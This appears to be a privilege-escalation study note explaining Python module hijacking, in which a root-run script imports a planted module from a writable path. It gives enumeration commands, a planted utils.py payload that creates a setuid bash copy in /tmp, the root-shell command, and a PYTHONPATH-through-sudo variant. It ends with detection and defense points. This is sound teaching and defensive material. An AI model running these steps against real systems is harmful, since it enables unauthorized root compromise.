If a root-run Python script imports a module from a directory you can write to — because a site-packages path is world-writable, PYTHONPATH is inherited, or the script's own directory is writable — you can drop a malicious module of that name and have your code execute as root on the next run. Python (and Perl via PERL5LIB, Ruby via RUBYLIB) resolves imports along a search path; a writable entry earlier in that path lets you shadow a legitimate module. It is the interpreter analogue of LD_LIBRARY_PATH/.so hijacking and a common finding around cron-driven admin scripts.
# where does root's python import from, and is any of it writable?
python3 -c 'import sys; print("\n".join(sys.path))'
# world-writable entries on the module search path:
python3 -c 'import sys,os
for p in sys.path:
if p and os.path.isdir(p) and os.access(p, os.W_OK): print("WRITABLE:", p)'
# is PYTHONPATH preserved through sudo? (env_keep)
sudo -l | grep -i pythonpathAlso check writable third-party packages and the directory of any root-run .py:
find / -writable -path '*/site-packages/*' -name '*.py' 2>/dev/null | headIf a root cron job runs /opt/admin/report.py which does import utils, and /opt/admin (or an earlier sys.path dir) is writable, plant utils.py:
cat > /opt/admin/utils.py <<'S'
import os
os.system('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash')
S
# on the next root run:
/tmp/rootbash -p # root shellIf PYTHONPATH survives sudo (via env_keep), point it at your own directory:
PYTHONPATH=/tmp/evil sudo /usr/bin/python3 /opt/admin/report.py- Detection: new
.pymodules in system paths, root Python importing from/tmp/home dirs,PYTHONPATHset for privileged processes. - Defenses: keep
site-packagesand script directories root-owned; stripPYTHONPATH/PERL5LIBfromenv_keep; run admin scripts with absolute, fixed import paths; use virtualenvs owned by root.
- Linux Privilege Escalation — module MOC
- Exploiting Shared Library Misconfigurations — the C/
.soequivalent - LD_PRELOAD Privilege Escalation via Misconfigured sudo — env-based library injection via sudo
- Cron Jobs and Systemd Timers — root scripts are usually cron-driven